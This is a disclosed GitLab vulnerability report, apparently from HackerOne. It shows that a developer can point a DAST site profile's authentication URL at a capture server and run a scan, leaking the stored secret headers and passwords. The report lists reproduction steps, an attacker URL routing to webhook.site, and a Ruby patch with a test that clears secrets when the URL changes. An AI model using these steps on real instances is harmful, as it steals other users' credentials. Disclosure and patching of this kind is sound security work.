Developer can leak DAST scanners "Site Profile" request headers and auth password
HackerOne report #1767797 by joaxcar
on 2022-11-09, assigned to @greg:
Report | Attachments | How To Reproduce
Report
Summary
When configuring site profiles
(see docs to be used with the DAST scanner a Maintainer
(potentially also developers but there is a small bug there) can add request headers that will be used by the DAST scanner and also username and password for authentication. The docs states this about the password and headers
When configured, request headers and password fields are encrypted using aes-256-gcm before being stored in the database. This data can only be read and decrypted with a valid secrets file
And in the UI the fields are masked (and the password field at times left blank). This is the same practice that GitLab uses for integration and webhook tokens. When they are configured by one user, the idea is that they should not be obtainable by other users, even if these users are developers
them self.
The problem here is the same as has been reported and fixed for integrations (see https://hackerone.com/reports/1557992) where the secret fields are not reset when a user reconfigures the URLs of the site profile
. This allows any user with access to modify the profile (any developer
) to target the profile towards an attacker owned server and run a DAST scan to obtain the hidden secrets (both headers and username/password). This could also potentially lead to accidental leakage if someone changes the URLs without realizing the secrets need to be changed/removed as well.
As these configurations are supposed to be hidden from other users the fields should have the same functionality as secrets in webhooks and integrations. When the target URL is changed the header values should be cleared. And when the authentication URL is changed the password field should be cleared. I assume that these two fields would be fixed together in a potential feature patch and thus I report them here as one issue. If you decide on fixing them separately please let me know.
Steps to reproduce
First you need to have access to a project with Ultimate
subscription. Create a new project called dast_project
then start with these steps. Add two users to the project. One maintainer
as the victim and a developer
as the attacker
As a victim: Create a site profile and validate an URL
To be able to use DAST you need to validate the URL you want to scan (this does not restrict the attack because you dont need to validate the auth-URL and an attacker could thus use that for the attack without dealing with verification)
- Go to https://gitlab.com/GROUP/dast_project/-/security/configuration/profile_library/dast_site_profiles/new
- Fill out the form. Make sure to add a secret header and to enable authentication and add a username and password
- Fill out both URL fields with a URL you control and thus can validate
- Save
- Click validate URL and follow the instructions for validation
As an attacker: Create a branch in the project (as you are not allowed to run scans on main
- Go to https://gitlab.com/GROUP/dast_project/-/branches
- Create a branch called "attack"
As an attacker: Run a scan towards a modified host
- Go to https://gitlab.com/GROUP/dast_project/-/on_demand_scans
- Create a new Scan
- Fill out what is needed and pick the created site profile as profile, pick the "attack" branch as branch for the scan
- Click to edit the site profile
- Under authentication change the fields to (dont touch username and password)
Make sure to change the url param in the URL to a catch site you want to use. The scan2.php page contains a form that the scan will use to try to authenticate and thus send the auth request to your catch server.
Authentication URL: https://joaxcar.com/scan2.php?url=https://webhook.site
Username form field: username
Password form field: password
Submit button: submit
- Save
- Click
save and run scan
- Wait for the scan to run. You will see a request with the headers and the username/password being sent to your server.
(if you want to host the scan2.php site your self I will add it to the report)
Impact
Any developer can leak the secret headers and password from other user-configured site profiles
What is the current bug behavior?
Changing the URLs in the site profile does not reset the secrets
What is the expected correct behavior?
Secrets should be reset like on integrations when the URL is changed
Output of checks
This bug happens on GitLab.com
Impact
Any developer can leak the secret headers and password from other user-configured site profiles
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
Proposed Solution
- add
before_save
hook called:remove_secret_variables
toDastSiteProfile
that is called when thedast_site.url
changes - implement
#remove_secret_variables
to delete associatedsecret_variables
===================================================================
diff --git a/ee/spec/models/dast_site_profile_spec.rb b/ee/spec/models/dast_site_profile_spec.rb
--- a/ee/spec/models/dast_site_profile_spec.rb (revision 915d59c0214e074cd3b789cd4415bc22c2b02856)
+++ b/ee/spec/models/dast_site_profile_spec.rb (date 1687442766051)
@@ -654,5 +654,27 @@
end
end
end
+
+ describe '#remove_secret_variables' do
+ let(:dast_site) { create(:dast_site, project: project, url: 'https://www.originalurl.com/') }
+
+ let(:dast_site_profile) { create(:dast_site_profile, project: project, dast_site: dast_site) }
+
+ context 'when secret variables already exist' do
+ before do
+ create(:dast_site_profile_secret_variable, :request_headers, dast_site_profile: dast_site_profile)
+ create(:dast_site_profile_secret_variable, :password, dast_site_profile: dast_site_profile)
+ end
+
+ it 'deletes the secret variables' do
+ expect(Dast::SiteProfileSecretVariable.count).to eq(2)
+
+ dast_site_profile.dast_site.url = 'https://www.newurl.com'
+ dast_site_profile.save!
+
+ expect(Dast::SiteProfileSecretVariable.count).to eq(0)
+ end
+ end
+ end
end
end
===================================================================
diff --git a/ee/app/models/dast_site_profile.rb b/ee/app/models/dast_site_profile.rb
--- a/ee/app/models/dast_site_profile.rb (revision 915d59c0214e074cd3b789cd4415bc22c2b02856)
+++ b/ee/app/models/dast_site_profile.rb (date 1687443275276)
@@ -29,6 +29,7 @@
scope :with_project, -> { includes(:project) }
before_save :ensure_scan_file_path
+ before_save :remove_secret_variables, if: ->(dast_site_profile) { dast_site_profile.dast_site.url_changed? && !dast_site_profile.dast_site.new_record? }
after_destroy :cleanup_dast_site
enum target_type: { website: 0, api: 1 }
@@ -191,4 +192,8 @@
secret[:key] = Dast::SiteProfileSecretVariable::API_SCAN_VARIABLES_MAP[key]
secret
end
+
+ def remove_secret_variables
+ secret_variables.destroy_all
+ end
end